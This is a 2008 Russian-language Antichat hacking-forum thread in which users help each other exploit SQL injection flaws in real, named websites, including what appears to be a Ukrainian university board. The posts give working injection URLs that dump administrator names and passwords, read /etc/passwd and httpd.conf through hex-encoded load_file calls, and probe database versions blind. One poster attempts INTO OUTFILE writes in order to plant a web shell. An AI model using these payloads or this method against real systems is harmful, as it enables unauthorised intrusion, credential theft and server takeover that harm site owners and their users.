ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|
07.12.2008, 20:41
|
|
Members of Antichat - Level 5
Регистрация: 28.05.2007
Сообщений: 729
Провел на форуме:
5571194
Репутация:
1934
|
|
http://smartlip.com/symbian/fileshare/flist.php?cat=-1'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13+from +information_schema.tables--%20%201
слепая скул
|
|
|
07.12.2008, 21:03
|
|
Познающий
Регистрация: 18.04.2008
Сообщений: 62
Провел на форуме:
279406
Репутация:
37
|
|
А как тогда что то выводить? :/
или если скуля слепая, то все бесполезно?
|
|
|
|
07.12.2008, 21:06
|
|
Members of Antichat - Level 5
Регистрация: 28.05.2007
Сообщений: 729
Провел на форуме:
5571194
Репутация:
1934
|
|
http://forum.antichat.ru/showthread.php?t=43966 пункт 3.ЧТО ДЕЛАТЬ ЕСЛИ ОТСУТСТВУЮТ ВЫВОДИМЫЕ ПОЛЯ.
|
|
|
|
08.12.2008, 15:29
|
|
Познающий
Регистрация: 02.06.2008
Сообщений: 52
Провел на форуме:
218331
Репутация:
10
|
|
Доброе время суток!
Кто можеть подсказать как юзать скул ошибку!
Дело было так я использовал эксплойт для определение верси с античат с темы:Обзор уязвимостей CMS [Joomla,Mambo] и их компонентов
Вот сам так скажем эксплойт
И когда я использовал эксплойт то пройжошла мускул ошибка!
Как можно юзать эту мускул ошибку !
Какие сценари можео выполнять с помощью этой ошибки!
Версия самого движка 5.2.1
Зарание всем спосибо! |
|
|
|
08.12.2008, 15:31
|
|
Познающий
Регистрация: 02.06.2008
Сообщений: 52
Провел на форуме:
218331
Репутация:
10
|
|
извеняюсь за ошибку там я имею введу скул ошибку а не мускул!
|
|
|
|
08.12.2008, 15:34
|
|
Постоянный
Регистрация: 07.02.2006
Сообщений: 630
Провел на форуме:
12985021
Репутация:
676
|
|
|
|
|
|
08.12.2008, 18:34
|
|
Познающий
Регистрация: 18.04.2008
Сообщений: 62
Провел на форуме:
279406
Репутация:
37
|
|
http://smartlip.com/symbian/fileshare/flist.php?cat=-1'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13+from +information_schema.tables--%20%201
слепая скул
Спасибо! Не подскажите, если вы пользовались прогой Marathon Tool (как раз для blind-SQL), то там в поле "Target base URL" нужно вводить просто http://smartlip.com/symbian/fileshare/flist.php?cat=1 или http://smartlip.com/symbian/fileshare/flist.php?cat=-1' ?
А то что то я вручную найти таблицы не смог, да и прога почему то не хочет 
Для определения БД пробовал такие варианты:
Код:
http://smartlip.com/symbian/fileshare/flist.php?cat=1+and+substring(version(),1,1)>1--%20%201
http://smartlip.com/symbian/fileshare/flist.php?cat=1+and+substring(version(),1,1)<5--%20%201
http://smartlip.com/symbian/fileshare/flist.php?cat=1+and+substring(version(),1,1)=5--%20%201
И во всех результатах ничего не выводится, точнее ошибок не выводится..
Последний раз редактировалось Thrasher88; 08.12.2008 в 19:04..
|
|
|
|
09.12.2008, 04:19
|
|
Новичок
Регистрация: 10.08.2007
Сообщений: 26
Провел на форуме:
239619
Репутация:
38
|
|
помогите раскрутить скуль
hххp://kpi.ua/board/index.php?action=list_messages§ion_id=2&module =1'
|
|
|
|
09.12.2008, 04:26
|
|
Участник форума
Регистрация: 17.09.2008
Сообщений: 211
Провел на форуме:
1571865
Репутация:
571
|
|
http://kpi.ua/board/index.php?action=list_messages§ion_id=-1+union+select+concat_ws(0x2f,name,pwd)+from+docum ent.nuke_authors+limit+0,1--
http://kpi.ua/board/index.php?action=list_messages§ion_id=-1+union+select+load_file(0x2F6574632F706173737764)--
Последний раз редактировалось R1dex; 09.12.2008 в 04:32..
|
|
|
|
09.12.2008, 05:13
|
|
Познавший АНТИЧАТ
Регистрация: 27.08.2007
Сообщений: 1,107
Провел на форуме:
5386281
Репутация:
1177
|
|
Помогите залить шелл на предидущий пост))
Ковычки не фильтрует и дает читать /etc/passwd
http://kpi.ua/board/index.php?action=list_messages§ion_id=-1+union+select+load_file(0x2f6574632f6170616368653 22f68747470642e636f6e66)-- - содержание httpd.conf - вроде как тут должны буть всякие диры... или полный путь... но я не нашел((
http://kpi.ua/board/index.php?action=list_messages§ion_id=-1+union+select+'123'+from+mysql.user+into+outfile+ '/board/123.txt'-- - пробывал такой запрос - не получилось(( Видимо нужен полный путь, а я его никак найти не могу((
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
